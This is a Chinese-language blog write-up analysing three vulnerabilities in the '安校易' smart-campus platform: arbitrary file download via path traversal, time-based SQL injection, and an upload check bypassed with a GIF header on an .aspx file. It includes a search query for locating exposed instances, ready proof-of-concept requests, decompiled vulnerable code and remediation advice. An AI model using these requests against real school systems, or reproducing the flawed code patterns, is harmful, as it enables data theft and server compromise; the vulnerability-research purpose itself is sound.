在一次对智慧校园管理系统的安全测试中,我发现了几个高危漏洞。这些漏洞存在于一套名为“安校易”的校园综合管理平台中。今天,我们就来详细剖析这套系统的几处安全缺陷,包括任意文件下载、SQL注入以及文件上传绕过漏洞。
首先,我们可以通过特定的网络空间搜索引擎语法来定位这类系统:
title="智慧综合管理平台登入"

其登录界面通常如下所示:

1. 任意文件下载漏洞
漏洞复现
该漏洞允许攻击者下载服务器上的任意文件。复现POC如下:
http://target/Module/FileManagement/FileDownLoad.aspx?filePath=../../Web.config&fileName=Web.config
成功利用后,可以看到文件下载的提示框。

漏洞分析
漏洞位于 /Module/FileManagement/FileDownLoad.aspx 文件中。

对应的业务逻辑在反编译的 KR.Administrator.dll 程序集中,位于 KR.Administrator.Module.FileManagement 命名空间下。

在 FileDownload 类的 Page_Load 方法中,代码直接从请求参数中获取 filePath 和 fileName,未做任何过滤,便传递给 BigFileDownload 函数。
protected void Page_Load(object sender, EventArgs e)
{
string text = base.Request.Params["filePath"];
string fileName = HttpUtility.UrlDecode(base.Request.Params["fileName"]);
if (text != null)
{
BigFileDownload(fileName, text);
}
}

BigFileDownload 函数负责读取文件并输出到响应流。它使用了 HttpContext.Current.Server.MapPath(FilePath) 来获取文件的物理路径,但在此之前,对传入的 FilePath 参数没有进行规范化和安全校验。
public void BigFileDownload(string FileName, string FilePath)
{
Stream stream = null;
byte[] buffer = new byte[10000];
string path = HttpContext.Current.Server.MapPath(FilePath);
Path.GetFileName(path);
try
{
stream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read);
long num = stream.Length;
base.Response.ContentType = "application/octet-stream";
base.Response.AddHeader("Content-Disposition", "attachment; filename=" + HttpUtility.UrlEncode(FileName));
while (num > 0)
{
// ... 读取并写入响应流的代码
}
}
catch (Exception ex)
{
// ... 异常处理
}
finally
{
stream?.Close();
}
}

由于缺少对 filePath 参数的规范化检查(例如过滤 ../ 等路径穿越字符),攻击者可以构造像 ../../Web.config 这样的路径,从而下载服务器上的任意敏感文件,形成任意文件下载漏洞。对于这类代码审计工作而言,用户输入的直接拼接是最常见的危险信号之一。
2. SQL注入漏洞
漏洞复现
该漏洞存在于一个插件列表查询接口中,可导致时间盲注。复现数据包如下:
POST /Module/CJGL/Controller/PPlugList.ashx?action=find HTTP/1.1
Host: IP:PORT
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 33
PlugIdentID=';WAITFOR+DELAY+'0:0:5'--&PlugName=';WAITFOR+DELAY+'0:0:5'--&DataUrl=';WAITFOR+DELAY+'0:0:5'--
发送请求后,服务器响应会出现明显的5秒延迟,并返回500错误。

使用 sqlmap 等自动化工具可以进一步确认和利用该注入点。

漏洞分析
漏洞文件位于 /Module/CJGL/Controller/PPlugList.ashx。

对应的处理类在 KR.Administrator.dll 的 KR.Administrator.Module.Controller 命名空间下,名为 PPlugList。


关键点在 AjaxProcess 方法的 case "find": 和 case "findAll": 分支中。代码直接使用 WRequest.GetString 获取用户输入(PlugIdentID, PlugName, DataUrl),并直接拼接到SQL查询条件字符串 text2 中。
case "find":
// ...
string text2 = "1=1";
if (!string.IsNullOrEmpty(WRequest.GetString("PlugIdentID")))
{
text2 += string.Format(" and PlugIdentID like '%{0}%'", WRequest.GetString("PlugIdentID"));
}
if (!string.IsNullOrEmpty(WRequest.GetString("PlugName")))
{
text2 += string.Format(" and PlugName like '%{0}%'", WRequest.GetString("PlugName"));
}
if (!string.IsNullOrEmpty(WRequest.GetString("DataUrl")))
{
text2 += string.Format(" and DataUrl like '%{0}%'", WRequest.GetString("DataUrl"));
}
// ... 后续使用 text2 作为查询条件

这里存在两个关键问题:
- 对
find 和 findAll 操作,没有调用 SystemHelper.checkPermission 进行权限验证(对比其他如 selectedDel 操作则有检查)。
- 在构建SQL查询条件时,直接使用了字符串拼接,且未对用户输入进行任何转义或过滤。
这种直接拼接用户输入到SQL语句的做法,是典型的SQL注入漏洞成因。攻击者可以闭合原有的SQL语句,并插入恶意指令(如 WAITFOR DELAY),从而实施攻击。
3. 文件上传漏洞(类型检查绕过)
漏洞复现
该漏洞允许上传任意文件,并通过简单的文件头欺骗绕过服务端的类型检查。复现数据包如下:
POST /Module/FileUpPage/FileUpTitle.aspx?file_tmid=c HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----21909179191068471382830692394
Connection: close
Content-Length: 199
------21909179191068471382830692394
Content-Disposition: form-data; name="File"; filename="test.aspx"
Content-Type: image/jpeg
GIF89a
Pwn!!!
------21909179191068471382830692394--
服务器会返回上传成功的JSON响应。

上传的文件可通过以下路径访问:
http://IP:PORT/imgnews/imgad/000000/c.aspx
访问该URL,可以执行我们上传的ASPX脚本(这里示例仅显示内容)。

漏洞分析
漏洞文件位于 /Module/FileUpPage/FileUpTitle.aspx。

处理逻辑同样在 KR.Administrator.dll 中,位于 KR.Administrator.Module.FileUpPage.FileUpTitle 类。

分析 FileUpTitle 类的 Page_Load 方法,其主要逻辑如下:
- 从请求中获取参数
orgid(组织ID,默认为”000000″)和 type(上传类型)。
- 根据
type 值,文件上传到不同目录:
type 为 ”newsphoto” 时,上传到 \imgnews\newsphoto\[orgid]\
- 其他情况(包括
type为空或其他值)上传到 \imgnews\imgad\[orgid]\
- 文件命名:使用请求参数
”file_tmid” 作为文件名,保留原文件扩展名。
- 文件上传后,调用
SystemHelper.FilePass 方法检查文件类型。如果不是图片类型,则删除文件并返回错误。


问题的核心在于 SystemHelper.FilePass 方法的检查逻辑。跟进这个方法:
public static bool FilePass(string filePath, string fileType)
{
try
{
bool result = false;
FileStream fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read);
BinaryReader binaryReader = new BinaryReader(fileStream);
string str = binaryReader.ReadByte().ToString();
str += binaryReader.ReadByte().ToString();
binaryReader.Close();
fileStream.Close();
switch (fileType)
{
case "v":
if (str == "00") { result = true; } break;
case "rar":
if (str == "8297") { result = true; } break;
case "excel":
if (str == "8075" || str == "208207") { result = true; } break;
case "key":
if (str == "76106" || str == "104107") { result = true; } break;
default:
switch (str)
{
case "255216": // JPEG
case "7173": // GIF
case "13780": // PNG
case "6677": // BMP
result = true;
break;
}
break;
}
return result;
}
catch { return false; }
}

这个方法的设计初衷是读取文件的前两个字节,将其转换为字符串后与已知的图片文件头魔数进行比对。然而,这里的检查存在严重缺陷:
- 检查位置有限:它只检查了文件最开头的两个字节。攻击者可以在合法的图片文件头(如
GIF89a)之后,写入任意的恶意代码(如ASPX脚本)。
- 逻辑可预测:对于
default分支(即fileType参数为空或其他值),它只匹配几个特定的字符串。只要文件头是GIF89a(对应字节71和73,拼接字符串为”7173″),就能通过检查。
因此,在POC中,我们上传了一个内容为GIF89a\r\nPwn!!!的.aspx文件。文件开头是合法的GIF图片头,成功绕过了FilePass检查,但后续的ASPX内容会被IIS服务器解析执行,从而实现了文件上传漏洞的利用。
总结与反思
本次对“安校易”智慧校园管理系统的分析,揭示了其在输入验证、权限控制和文件安全检查方面的多处缺失:
- 任意文件下载:对用户可控的文件路径参数未做规范化过滤,导致目录穿越。
- SQL注入:在动态拼接SQL语句时,未对用户输入进行转义,且部分关键操作缺乏权限校验。
- 文件上传绕过:服务端的文件类型检查机制过于简单和脆弱,仅检查固定位置的文件头,极易被绕过。
对于企业和开发者而言,修复此类问题需要遵循安全开发规范:所有用户输入必须视为不可信的,进行严格的校验、过滤或参数化处理;实施最小权限原则,对所有敏感操作进行权限校验;对于文件上传功能,应采用白名单机制校验文件扩展名,并在服务器端使用可靠的方法(如检查文件内容结构或使用安全的重命名策略)来确保文件安全性。这些案例也提醒我们,在渗透测试与防御中,对业务逻辑和代码实现的深度审计至关重要。希望这篇分析能对大家的系统安全防护工作有所帮助。如果你想了解更多网络安全实战技术,欢迎访问云栈社区与其他安全爱好者交流探讨。